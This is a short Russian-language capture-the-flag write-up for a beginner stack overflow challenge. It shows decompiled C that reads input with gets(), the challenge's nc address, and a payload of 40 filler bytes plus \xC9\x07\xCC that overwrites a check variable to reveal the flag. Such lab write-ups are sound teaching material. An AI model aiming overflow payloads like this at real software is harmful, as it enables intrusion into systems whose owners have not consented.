Переполните, чтобы получить флаг.
nc 109.233.56.90 11586
Solution
Нужно найти переполнение буфера, чтобы получить флаг. Значит реверсим.
Анализ main
А вот и код:
int32_t main()
{
int32_t result = 0;
int32_t num = 666;
int64_t rax;
(uint8_t)rax = 0;
int32_t var_3c = printf("Give me your input: ");
char buf[0x28];
char* var_48 = gets(&buf);
char* rax_2;
(uint8_t)rax_2 = 0;
printf("The check number is %d\n", (uint64_t)num);
int64_t rax_3;
if (num != 13371337)
{
(uint8_t)rax_3 = 0;
printf("Bad luck!\n");
}
else
{
(uint8_t)rax_3 = 0;
printf("Flag is: spbctf{*************************}\n");
}
return result;
}
Ввод совершается через не безопасный gets. Для прохождения нужно заменять num на 13371337.
Подбор пейлоада
Как всегда, нам нужен стек:

Число 32-х битное. Значит нужно будет 4 символа, чтобы его переписать. В бинже я представил строку в виде символов, получилось вот это чудо: \xc9\x07\xcc.
Значит пейлоад будет 40 рандомных символов и вот это:
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xC9\x07\xCC
Другая проблема - это ввод неотображаемых символов. Для этого использую перенаправление потока вывода и printf:

Теперь нужно получить флаг.

Для того, чтобы все получилось, я добавил \n в конец пейлоада.